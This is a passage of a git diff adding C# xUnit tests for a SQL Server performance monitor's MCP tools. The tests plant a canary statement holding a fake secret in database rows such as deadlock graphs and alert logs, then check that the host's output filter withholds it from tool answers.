+        var h = ThreeIncidentHarness();
+        var context = AlertContextBuilders.BuildBlockingContext("SRV", h.Adapter.Blocking, Array.Empty<string>())!;
+
+        var budget = SteppingBudget(TimeSpan.FromMilliseconds(50));
+        var filtered = AlertStatementFilter.ApplyCore(context, budget)!;
+
+        Assert.True(budget.Spent, "the budget did not run out");
+        Assert.True(filtered.Incidents!.Count(i => i.Attachment!.Xml.Length > 4_000_000) < 3, "no report was withheld");
+        Assert.Contains(filtered.Incidents!, i => i.Attachment!.Xml == Marker);
+        AssertNoSecret(string.Join(Environment.NewLine, Everything(filtered)));
+        Assert.Equal(3, budget.DocumentPasses);
+        Assert.InRange(budget.Limit, TimeSpan.FromSeconds(7.25), TimeSpan.FromSeconds(8.5));
+    }
+}
diff --git a/Darling/Darling.Tests/StatementFilterAnalysisReadsLiveTests.cs b/Darling/Darling.Tests/StatementFilterAnalysisReadsLiveTests.cs
new file mode 100644
index 0000000000..a2cc20314b
--- /dev/null
+++ b/Darling/Darling.Tests/StatementFilterAnalysisReadsLiveTests.cs
@@ -0,0 +1,164 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.TestHost;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Notifications;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348, L8: the read-time census for the derived reads. The persisted finding's drill-down JSON (rows 24 and 25:
+/// <c>get_analysis_findings</c>, and the stored findings <c>analyze_server</c> answers from), an alert history row's detail
+/// and context (row 26) and a mute rule's query-text pattern (row 27) are planted with the canary statement, read RAW through
+/// the tool method (which must still hold the canary: the control), and then sent through the host's registered output
+/// filter, which must withhold it and keep the plain statement beside it. Rows 28 to 30 (<c>get_analysis_facts</c>,
+/// <c>compare_analysis</c>, <c>get_sweep_reports</c>) carry numbers, fact keys and object names, never statement text, and a source
+/// scan pins that.
+///
+/// <para>#1776 own-store: mints its own scratch database (<see cref="ScratchPostgres"/>), never the shared
+/// <c>live-postgres</c> collection. In the <c>DarlingOutputFormatEnv</c> collection because the host filter list changes with
+/// <c>DARLING_OUTPUT_FORMAT</c>.</para>
+/// </summary>
+[Collection("DarlingOutputFormatEnv")]
+public sealed class StatementFilterAnalysisReadsLiveTests : IDisposable
+{
+    private const int ServerId = -453_301;
+    private const string ServerName = "SsfAnalysisReadsSrv";
+
+    public StatementFilterAnalysisReadsLiveTests() =>
+        Environment.SetEnvironmentVariable("DARLING_OUTPUT_FORMAT", null);
+
+    public void Dispose() => Environment.SetEnvironmentVariable("DARLING_OUTPUT_FORMAT", null);
+
+    private static async Task AssertFilteredAsync(TestServer server, string label, string raw)
+    {
+        try
+        {
+            StatementFilterCensus.AssertRawHoldsTheCanary(raw);
+            var (filtered, isError) = await StatementFilterCensus.FilterThroughHostAsync(server, raw);
+            Assert.False(isError);
+            StatementFilterCensus.AssertFilteredWithholdsTheCanary(raw, filtered);
+        }
+        catch (Exception ex) when (ex is not Xunit.Sdk.XunitException || !ex.Message.StartsWith(label, StringComparison.Ordinal))
+        {
+            throw new Xunit.Sdk.XunitException(label + ": " + ex.Message);
+        }
+    }
+
+    [Fact]
+    public async Task PersistedFindingsAlertHistoryAndMuteRules_WithholdTheCanaryStatement_ThroughTheRegisteredFilter()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live analysis-reads filter test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow).AddMinutes(-5);
+
+        /* Row 25 (and the stored findings behind row 24): a persisted finding whose drill-down JSON carries the statements. */
+        var drillDown = new System.Text.Json.Nodes.JsonObject
+        {
+            ["top_queries"] = new System.Text.Json.Nodes.JsonArray(
+                new System.Text.Json.Nodes.JsonObject { ["query_text"] = StatementScrubCanary.CanaryStatement, ["executions"] = 5 },
+                new System.Text.Json.Nodes.JsonObject { ["query_text"] = StatementScrubCanary.PlainStatement, ["executions"] = 7 }),
+        }.ToJsonString();
+        await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO analysis_findings
+    (finding_id, analysis_time, server_id, server_name, database_name,
+     time_range_start, time_range_end, severity, confidence, category,
+     story_path, story_path_hash, story_text,
+     root_fact_key, root_fact_value, leaf_fact_key, leaf_fact_value, fact_count,
+     incident_id, remediation_action_json, drill_down_json)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19, NULL, $20)",
+            CollectionIdGenerator.Next(), now, ServerId, ServerName, "SsfDb",
+            now.AddHours(-4), now, 0.72, 0.55, "waits",
+            "HIGH_CPU → TOP_QUERY", "SSFHASH1", "story", "HIGH_CPU", 92.5, "TOP_QUERY", 4.1, 2, "SSF_INCIDENT_1", drillDown);
+
+        /* Row 26: an alert history row, detail text and context both naming the statements. */
+        await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO config_alert_log
+    (alert_time, server_id, server_name, metric_name, current_value, threshold_value,
+     alert_sent, notification_type, send_error, muted, dismissed, detail_text, context_json)
+VALUES ($1, $2, $3, 'High CPU', 1, 1, FALSE, 'none', NULL, FALSE, FALSE, $4, $5)",
+            DarlingMcpTestData.Naive(now), ServerId, ServerName,
+            "Top statement: " + StatementScrubCanary.CanaryStatement,
+            "{\"queries\":[{\"query_text\":\"" + StatementScrubCanary.CanaryStatement + "\"}]}");
+
+        /* Row 27: a mute rule whose pattern is the statement text. */
+        await new PgMuteRuleStore(postgres).InsertAsync(new MuteRule
+        {
+            Id = "ssf-mute-1",
+            ServerName = ServerName,
+            QueryTextPattern = StatementScrubCanary.CanaryStatement,
+            Reason = "census " + StatementScrubCanary.PlainStatement,
+        });
+
+        using var server = await StatementFilterCensus.BuildHostAsync();
+
+        var findings = await DarlingMcpTools.GetAnalysisFindings(
+            new DarlingAnalysisService(postgres), postgres, ServerName, hours_back: 24, include_drilldown: true, as_of: null, cancellationToken: ct);
+        await AssertFilteredAsync(server, "get_analysis_findings", findings);
+
+        var history = await DarlingMcpAlertTools.GetAlertHistory(postgres, ServerName, 24, 50, null, false, ct);
+        await AssertFilteredAsync(server, "get_alert_history", history);
+
+        var rules = await DarlingMcpAlertTools.GetMuteRules(postgres, true, ct);
+        await AssertFilteredAsync(server, "get_mute_rules", rules);
+    }
+
+    /// <summary>Rows 28 to 30: the three tools answer from fact keys, numbers, object names and sweep check results. A
+    /// statement-text column or a drill-down read appearing in one of them fails here until it is judged.</summary>
+    [Theory]
+    [InlineData("DarlingMcpTools.cs", "GetAnalysisFacts")]
+    [InlineData("DarlingMcpTools.cs", "CompareAnalysis")]
+    [InlineData("DarlingMcpFleetSweepTools.cs", "GetSweepReports")]
+    public void TheFactAndSweepReadsCarryNoStatementTextColumn(string file, string method)
+    {
+        var path = System.IO.Path.Combine(RepoRoot(), "Darling", "PerformanceMonitor.Darling.Service", "Mcp", file);
+        var source = StatementColumnCensusTests.CodeOnly(System.IO.File.ReadAllText(path));
+
+        var start = source.IndexOf("Task<string> " + method + "(", StringComparison.Ordinal);
+        Assert.True(start >= 0, method + " is gone from " + file + "; update this census");
+        var next = source.IndexOf("[McpServerTool", start, StringComparison.Ordinal);
+        var body = source.Substring(start, (next < 0 ? source.Length : next) - start);
+
+        var hit = Regex.Match(body, @"query_text|sql_text|statement_text|batch_text|text_data|QueryText|StatementText|query_plan|drill_?down",
+            RegexOptions.IgnoreCase | RegexOptions.CultureInvariant);
+        Assert.False(hit.Success, method + " now mentions '" + hit.Value + "': judge what it reads, then add a case to this census");
+    }
+
+    private static string RepoRoot()
+    {
+        var dir = new System.IO.DirectoryInfo(AppContext.BaseDirectory);
+        while (dir is not null && !System.IO.File.Exists(System.IO.Path.Combine(dir.FullName, "PerformanceMonitor.sln")))
+        {
+            dir = dir.Parent;
+        }
+
+        return dir?.FullName ?? throw new InvalidOperationException("repository root not found");
+    }
+}
diff --git a/Darling/Darling.Tests/StatementFilterBlockingReadsLiveTests.cs b/Darling/Darling.Tests/StatementFilterBlockingReadsLiveTests.cs
new file mode 100644
index 0000000000..3cd05bffd4
--- /dev/null
+++ b/Darling/Darling.Tests/StatementFilterBlockingReadsLiveTests.cs
@@ -0,0 +1,450 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Globalization;
+using System.Linq;
+using System.Text;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Xml.Linq;
+using Microsoft.AspNetCore.TestHost;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348, rows 16-23 of the read inventory: the blocking, deadlock and Extended Events family. Each case plants
+/// <see cref="StatementScrubCanary"/> text in the rows the tool reads, runs the tool RAW (the control: the answer must
+/// still HOLD the canary, so a clean filtered answer proves the filter and not an empty plant) and then sends that answer
+/// through the host's output filter (<see cref="SensitiveStatementOutputFilter"/>, the instance
+/// <c>DarlingMcpHostService</c> registers last), and asserts what a client would receive: no secret needle, the marker
+/// where the statement was, and the plain statement beside it unchanged.
+///
+/// <para>The tools: <c>get_blocking</c>, <c>get_deadlocks</c>, <c>get_deadlock_detail</c>, <c>get_blocked_process_xml</c>,
+/// <c>get_long_query_completions</c>, <c>get_default_trace_events</c>, <c>get_health_parser_significant_waits</c> and
+/// <c>get_health_parser_severe_errors</c>. Each answer goes through <see cref="StatementFilterCensus.FilterThroughHostAsync"/>, the host's whole registered filter list. That
+/// host is built with GCF pinned off (#5320), so <c>DARLING_OUTPUT_FORMAT</c>, which classes in the <c>DarlingOutputFormatEnv</c>
+/// collection set while this live class may be running, cannot re-encode an answer. The filter's slot in the list is also pinned by
+/// <c>SensitiveStatementHostFilterTests</c>.</para>
+///
+/// <para>The deadlock graph is the one field with two shapes: at <c>full_graph: true</c> the XML parses and only the named
+/// statement text is replaced (precise); at the default the reader judges the whole graph and then cuts it to 2000 characters, so the
+/// cut text carries the marker where the statement was and holds no secret (#5320). Five reads (get_blocking, get_deadlocks,
+/// get_deadlock_detail, get_long_query_completions, get_default_trace_events) judge in the reader too; the census holds them to the
+/// reader's own answer and checks the store still holds the canary.</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class StatementFilterBlockingReadsLiveTests
+{
+    private const string ServerName = "darling-ssf-blocking-reads";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    private const string Db = "SsfBlockDb";
+    private const string Marker = StatementFilterCensus.Marker;
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    /// <summary>The tool's answer through the host's whole filter list, as a client receives it.</summary>
+    private static async Task<string> FilteredAsync(TestServer host, string raw)
+    {
+        var (text, isError) = await StatementFilterCensus.FilterThroughHostAsync(host, raw);
+        Assert.False(isError);
+        return text;
+    }
+
+    private static void AssertFiltered(string label, string raw, string filtered)
+    {
+        try
+        {
+            StatementFilterCensus.AssertRawHoldsTheCanary(raw);
+            StatementFilterCensus.AssertFilteredWithholdsTheCanary(raw, filtered);
+            using var parsed = JsonDocument.Parse(filtered);
+        }
+        catch (Exception ex)
+        {
+            throw new Xunit.Sdk.XunitException(label + ": " + ex.Message);
+        }
+    }
+
+    /// <summary>
+    /// The census check for a read whose READER judges the whole statement before it cuts it (#5320). The reader's own answer
+    /// holds the withheld marker and not one secret needle, still parses, and the host filter has nothing left to change (so the
+    /// reader did the whole job). The control that the plant is real moves from the raw answer to the STORE: the stored column
+    /// still holds the canary (<see cref="StoredCanaryAsync"/>), so an answer without it is the reader's doing and not an empty plant.
+    /// </summary>
+    private static void AssertReaderJudged(string label, string raw, string filtered)
+    {
+        try
+        {
+            foreach (string needle in StatementScrubCanary.SecretNeedles)
+            {
+                Assert.DoesNotContain(needle, raw);
+            }
+
+            Assert.Contains(Marker, raw);
+            using var parsed = JsonDocument.Parse(raw);
+            Assert.True(string.Equals(raw, filtered, StringComparison.Ordinal), "the host filter changed an answer the reader had already judged");
+        }
+        catch (Exception ex)
+        {
+            throw new Xunit.Sdk.XunitException(label + ": " + ex.Message);
+        }
+    }
+
+    /// <summary>True when <paramref name="column"/> of <paramref name="table"/> holds the canary for this test's server.</summary>
+    private static async Task<bool> StoredCanaryAsync(NpgsqlConnection connection, string table, string column, CancellationToken ct)
+    {
+        await using var cmd = new NpgsqlCommand(
+            $"SELECT EXISTS (SELECT 1 FROM {table} WHERE server_id = $1 AND position('S3cret-canary-ssf' IN {column}) > 0)", connection);
+        cmd.Parameters.AddWithValue(ServerId);
+        return (bool)(await cmd.ExecuteScalarAsync(ct))!;
+    }
+    /// <summary>Every string value in <paramref name="json"/> that opens with <c>&lt;</c> (an embedded XML document).</summary>
+    private static List<string> EmbeddedXml(string json)
+    {
+        var found = new List<string>();
+        using var doc = JsonDocument.Parse(json);
+        void Walk(JsonElement e)
+        {
+            switch (e.ValueKind)
+            {
+                case JsonValueKind.String:
+                    var s = e.GetString();
+                    if (s is not null && s.TrimStart().StartsWith('<')) found.Add(s);
+                    break;
+                case JsonValueKind.Object:
+                    foreach (var p in e.EnumerateObject()) Walk(p.Value);
+                    break;
+                case JsonValueKind.Array:
+                    foreach (var i in e.EnumerateArray()) Walk(i);
+                    break;
+            }
+        }
+
+        Walk(doc.RootElement);
+        return found;
+    }
+
+    private static string DeadlockGraph(int paddingProcesses)
+    {
+        var sb = new StringBuilder();
+        sb.Append("<deadlock><victim-list><victimProcess id=\"process1a\"/></victim-list><process-list>");
+        sb.Append("<process id=\"process1a\" spid=\"61\" status=\"suspended\" currentdbname=\"").Append(Db).Append("\" loginname=\"l\">")
+          .Append("<executionStack><frame procname=\"adhoc\" line=\"1\">").Append(StatementScrubCanary.CanaryStatement).Append("</frame></executionStack>")
+          .Append("<inputbuf>").Append(StatementScrubCanary.CanaryStatement).Append("</inputbuf></process>");
+        sb.Append("<process id=\"process2b\" spid=\"62\" status=\"suspended\" currentdbname=\"").Append(Db).Append("\" loginname=\"l\">")
+          .Append("<executionStack><frame procname=\"adhoc\" line=\"1\">").Append(StatementScrubCanary.PlainStatement).Append("</frame></executionStack>")
+          .Append("<inputbuf>").Append(StatementScrubCanary.PlainStatement).Append("</inputbuf></process>");
+        for (int i = 0; i < paddingProcesses; i++)
+        {
+            sb.Append("<process id=\"processpad").Append(i).Append("\" spid=\"").Append(100 + i % 900).Append("\" status=\"suspended\" currentdbname=\"").Append(Db).Append("\" loginname=\"l\">")
+              .Append("<executionStack><frame procname=\"adhoc\" line=\"1\">SELECT canary_pad_ssf FROM dbo.pad WHERE id = @c</frame></executionStack>")
+              .Append("<inputbuf>SELECT canary_pad_ssf FROM dbo.pad WHERE id = @c</inputbuf></process>");
+        }
+
+        sb.Append("</process-list><resource-list><keylock objectname=\"").Append(Db).Append(".dbo.t\"><owner-list><owner id=\"process2b\" mode=\"X\"/></owner-list>")
+          .Append("<waiter-list><waiter id=\"process1a\" mode=\"S\"/></waiter-list></keylock></resource-list></deadlock>");
+        return sb.ToString();
+    }
+
+    private static string BlockedProcessReport() =>
+        "<blocked-process-report monitorLoop=\"1\"><blocked-process>"
+        + "<process id=\"processB1\" waittime=\"12000\" status=\"suspended\" spid=\"61\" ecid=\"0\" clientapp=\"app\" hostname=\"h\" loginname=\"l\">"
+        + "<executionStack><frame line=\"1\" stmtstart=\"0\" sqlhandle=\"0x01\">" + StatementScrubCanary.CanaryStatement + "</frame></executionStack>"
+        + "<inputbuf>" + StatementScrubCanary.CanaryStatement + "</inputbuf></process></blocked-process>"
+        + "<blocking-process><process status=\"suspended\" spid=\"62\" ecid=\"0\" clientapp=\"app\" hostname=\"h\" loginname=\"l\">"
+        + "<executionStack/><inputbuf>" + StatementScrubCanary.PlainStatement + "</inputbuf></process></blocking-process></blocked-process-report>";
+
+    [Fact]
+    public async Task TheEightBlockingAndEventReads_AnswerWithTheCanaryStatementWithheld()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live blocking-read filter test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        using var host = await StatementFilterCensus.BuildHostAsync();
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var t = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow.AddMinutes(-9));
+            string wait = System.IO.File.ReadAllText(System.IO.Path.Combine(AppContext.BaseDirectory, "Fixtures", "SystemHealth", "wait_info.xml"))
+                .Replace("SELECT * FROM dbo.big_table WHERE id = @p1;", StatementScrubCanary.CanaryStatement, StringComparison.Ordinal);
+            string error = System.IO.File.ReadAllText(System.IO.Path.Combine(AppContext.BaseDirectory, "Fixtures", "SystemHealth", "error_reported.xml"))
+                .Replace("The operating system returned error 21 to SQL Server during a read at offset 0x00000c60000 in file 'D:\\data\\prod.mdf'.",
+                    "The statement failed: " + StatementScrubCanary.CanaryStatement, StringComparison.Ordinal);
+            Assert.Contains("S3cret-canary-ssf", wait, StringComparison.Ordinal);
+            Assert.Contains("S3cret-canary-ssf", error, StringComparison.Ordinal);
+
+            /* row 16 and row 19: one blocked-process report with the canary on the blocked side. */
+            await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO blocked_process_reports
+    (blocked_report_id, collection_time, server_id, server_name, event_time, wait_time_ms, blocking_spid, blocked_spid,
+     blocked_ecid, blocking_ecid, blocking_status, database_name, blocked_sql_text, blocking_sql_text, blocked_process_report_xml)
+VALUES ($1, $2, $3, $4, $5, 12000, 62, 61, 0, 0, 'suspended', $6, $7, $8, $9)",
+                CollectionIdGenerator.Next(), t.AddSeconds(5), ServerId, ServerName, t, Db,
+                StatementScrubCanary.CanaryStatement, StatementScrubCanary.PlainStatement, BlockedProcessReport());
+
+            /* rows 17 and 18: one deadlock with the canary as the victim's statement and in its graph. */
+            await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO deadlocks (deadlock_id, collection_time, server_id, server_name, database_name, deadlock_time, victim_process_id, victim_sql_text, deadlock_graph_xml)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9)",
+                CollectionIdGenerator.Next(), t.AddSeconds(5), ServerId, ServerName, Db, t, "process1a", StatementScrubCanary.CanaryStatement, DeadlockGraph(0));
+
+            /* row 20 */
+            await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO long_query_completions (long_query_completion_id, collection_time, server_id, server_name, event_time, event_type, database_name, duration_microseconds, statement_text)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9)",
+                CollectionIdGenerator.Next(), t.AddSeconds(5), ServerId, ServerName, t, "rpc_completed", Db, 5_000_000L, StatementScrubCanary.CanaryStatement);
+            await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO long_query_completions (long_query_completion_id, collection_time, server_id, server_name, event_time, event_type, database_name, duration_microseconds, statement_text)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9)",
+                CollectionIdGenerator.Next(), t.AddSeconds(5), ServerId, ServerName, t, "rpc_completed", Db, 4_000_000L, StatementScrubCanary.PlainStatement);
+
+            /* row 21: a severe ErrorLog entry whose text_data is the canary, and a plain one beside it. */
+            foreach (var (text, offset) in new[] { (StatementScrubCanary.CanaryStatement, 0), (StatementScrubCanary.PlainStatement, 1) })
+            {
+                await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO default_trace_events
+    (default_trace_event_id, collection_time, server_id, server_name, event_time, event_name, severity, text_data)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8)",
+                    CollectionIdGenerator.Next(), t.AddSeconds(5), ServerId, ServerName, t.AddSeconds(offset), "ErrorLog", 20, text);
+            }
+
+            /* rows 22 and 23 */
+            foreach (var (xml, type) in new[] { (wait, SystemHealthParser.WaitInfoEvent), (error, SystemHealthParser.ErrorReportedEvent) })
+            {
+                await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO system_health_events
+    (system_health_event_id, collection_time, server_id, server_name, event_time, event_type, event_xml)
+VALUES ($1, $2, $3, $4, $5, $6, $7)",
+                    CollectionIdGenerator.Next(), t.AddSeconds(5), ServerId, ServerName, t, type, xml);
+            }
+
+            /* Every row is checked before the test fails, so one run names each row that leaks. */
+            var failures = new List<string>();
+            /* A row whose reader judges the statement itself (#5320: the cut-and-judge reads) names its stored column in
+               `readerJudges`; the store must still hold the canary there, and the reader's own answer is held to the marker. The
+               other rows return the stored text raw and the host filter is what withholds it. */
+            async Task Check(string label, string raw, Action<string>? more = null, (string Table, string Column)? readerJudges = null)
+            {
+                try
+                {
+                    string filtered = await FilteredAsync(host, raw);
+                    if (readerJudges is { } stored)
+                    {
+                        Assert.True(await StoredCanaryAsync(connection, stored.Table, stored.Column, ct), "the stored " + stored.Table + "." + stored.Column + " lost the canary, so the plant never reached the store");
+                        AssertReaderJudged(label, raw, filtered);
+                    }
+                    else
+                    {
+                        AssertFiltered(label, raw, filtered);
+                    }
+                    more?.Invoke(filtered);
+                }
+                catch (Exception ex)
+                {
+                    failures.Add(label + ": " + ex.Message.Split('\n')[0]);
+                }
+            }
+
+            await Check("16 get_blocking", await DarlingMcpBlockingTools.GetBlocking(postgres, ServerName, cancellationToken: ct), readerJudges: ("blocked_process_reports", "blocked_sql_text"));
+            await Check("17 get_deadlocks", await DarlingMcpBlockingTools.GetDeadlocks(postgres, ServerName, cancellationToken: ct), readerJudges: ("deadlocks", "victim_sql_text"));
+            await Check("18 get_deadlock_detail", await DarlingMcpBlockingTools.GetDeadlockDetail(postgres, ServerName, cancellationToken: ct), readerJudges: ("deadlocks", "victim_sql_text"));
+
+            /* row 19: the report XML still parses, the canary's inputbuf and frame hold the marker, and the plain side is intact. */
+            await Check("19 get_blocked_process_xml", await DarlingMcpBlockingTools.GetBlockedProcessXml(postgres, ServerName, cancellationToken: ct), filtered =>
+            {
+                var reports = EmbeddedXml(filtered);
+                Assert.Single(reports);
+                var bprDoc = XDocument.Parse(reports[0]);
+                var inputbufs = bprDoc.Descendants("inputbuf").Select(e => e.Value).ToList();
+                Assert.Equal(new[] { Marker, StatementScrubCanary.PlainStatement }, inputbufs);
+                Assert.DoesNotContain(bprDoc.Descendants("frame"), f => f.Value.Contains("S3cret", StringComparison.Ordinal));
+            });
+
+            await Check("20 get_long_query_completions", await DarlingMcpLongQueryTools.GetLongQueryCompletions(postgres, ServerName, cancellationToken: ct), readerJudges: ("long_query_completions", "statement_text"));
+            await Check("21 get_default_trace_events", await DarlingMcpDefaultTraceTools.GetDefaultTraceEvents(postgres, ServerName, cancellationToken: ct), readerJudges: ("default_trace_events", "text_data"));
+            await Check("22 get_health_parser_significant_waits", await DarlingMcpHealthParserTools.GetSignificantWaits(postgres, ServerName, cancellationToken: ct));
+            await Check("23 get_health_parser_severe_errors", await DarlingMcpHealthParserTools.GetSevereErrors(postgres, ServerName, cancellationToken: ct));
+            Assert.True(failures.Count == 0, string.Join(" | ", failures));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// <c>get_deadlock_detail</c>'s graph, both ways. With <c>full_graph</c> true the answer carries the whole graph: it parses,
+    /// the victim's frame and inputbuf hold the marker, and the other process, its statement and the lock resource are the
+    /// stored ones (precise). By default the reader judges the whole graph (#5320) and then cuts it to 2000 characters: the cut graph holds the marker where
+    /// the victim's statement was, keeps the other process's statement, says it is truncated, and the host filter has nothing left to change.
+    /// </summary>
+    [Fact]
+    public async Task GetDeadlockDetail_FullGraphIsPrecise_AndTheDefaultCutGraphIsJudgedWholeThenCut()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live blocking-read filter test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        using var host = await StatementFilterCensus.BuildHostAsync();
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var t = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow.AddMinutes(-9));
+            /* 20 padding processes put the graph well past the 2000-character preview; the canary processes come first, so it sits inside the cut. */
+            string graph = DeadlockGraph(20);
+            Assert.True(graph.Length > 2500, "the graph is " + graph.Length + " characters");
+            await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO deadlocks (deadlock_id, collection_time, server_id, server_name, database_name, deadlock_time, victim_process_id, victim_sql_text, deadlock_graph_xml)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9)",
+                CollectionIdGenerator.Next(), t.AddSeconds(5), ServerId, ServerName, Db, t, "process1a", StatementScrubCanary.CanaryStatement, graph);
+
+            string full = await DarlingMcpBlockingTools.GetDeadlockDetail(postgres, ServerName, full_graph: true, cancellationToken: ct);
+            string fullFiltered = await FilteredAsync(host, full);
+            AssertFiltered("full_graph true", full, fullFiltered);
+            var fullGraphs = EmbeddedXml(fullFiltered);
+            Assert.Single(fullGraphs);
+            var doc = XDocument.Parse(fullGraphs[0]);
+            var victim = doc.Descendants("process").Single(p => (string?)p.Attribute("id") == "process1a");
+            Assert.Equal(Marker, victim.Element("inputbuf")!.Value);
+            Assert.Equal(Marker, victim.Descendants("frame").Single().Value);
+            var other = doc.Descendants("process").Single(p => (string?)p.Attribute("id") == "process2b");
+            Assert.Equal(StatementScrubCanary.PlainStatement, other.Element("inputbuf")!.Value);
+            Assert.Equal(StatementScrubCanary.PlainStatement, other.Descendants("frame").Single().Value);
+            Assert.Equal(22, doc.Descendants("process").Count());
+            Assert.Equal(Db + ".dbo.t", (string?)doc.Descendants("keylock").Single().Attribute("objectname"));
+
+            /* The default form (#5320): the reader judges the WHOLE graph, then cuts it to 2000 characters, so its own answer is
+               already safe. The stored graph still holds the canary (the plant is real, and is past the cut length), the answer's
+               graph carries the marker where the victim's statement was, keeps the other process's statement, is cut and says so,
+               and the host filter finds nothing left to change. */
+            Assert.True(await StoredCanaryAsync(connection, "deadlocks", "deadlock_graph_xml", ct), "the stored graph lost the canary, so the plant never reached the store");
+            string cut = await DarlingMcpBlockingTools.GetDeadlockDetail(postgres, ServerName, cancellationToken: ct);
+            string cutFiltered = await FilteredAsync(host, cut);
+            AssertReaderJudged("full_graph false", cut, cutFiltered);
+            using var cutDoc = JsonDocument.Parse(cut);
+            var cutRow = cutDoc.RootElement.GetProperty("deadlocks")[0];
+            string cutGraph = cutRow.GetProperty("deadlock_graph_xml").GetString()!;
+            Assert.True(cutRow.GetProperty("deadlock_graph_xml_truncated").GetBoolean());
+            Assert.EndsWith("... (truncated)", cutGraph);
+            Assert.True(cutGraph.Length > 1500 && cutGraph.Length < graph.Length, "the cut graph is " + cutGraph.Length + " characters of " + graph.Length);
+            Assert.Contains("<inputbuf>" + Marker + "</inputbuf>", cutGraph);
+            Assert.Contains("<frame procname=\"adhoc\" line=\"1\">" + Marker + "</frame>", cutGraph);
+            Assert.Contains("<inputbuf>" + StatementScrubCanary.PlainStatement + "</inputbuf>", cutGraph);
+            Assert.Equal("process1a", cutRow.GetProperty("victim_process_id").GetString());
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// The filter's cost on <c>get_deadlock_detail</c> at <c>full_graph: true</c> over a graph of about 4 MB (the answer carries the
+    /// graph and the per-process rows built from it). The ceiling is loose (a slow runner is not a failure); it catches a read that
+    /// spends the filter's whole budget and so answers with every value withheld. The answer must still hold the precise shape.
+    /// Set <c>SSF_L6_TIMINGS=1</c> to fail with the measured milliseconds.
+    /// </summary>
+    [Fact]
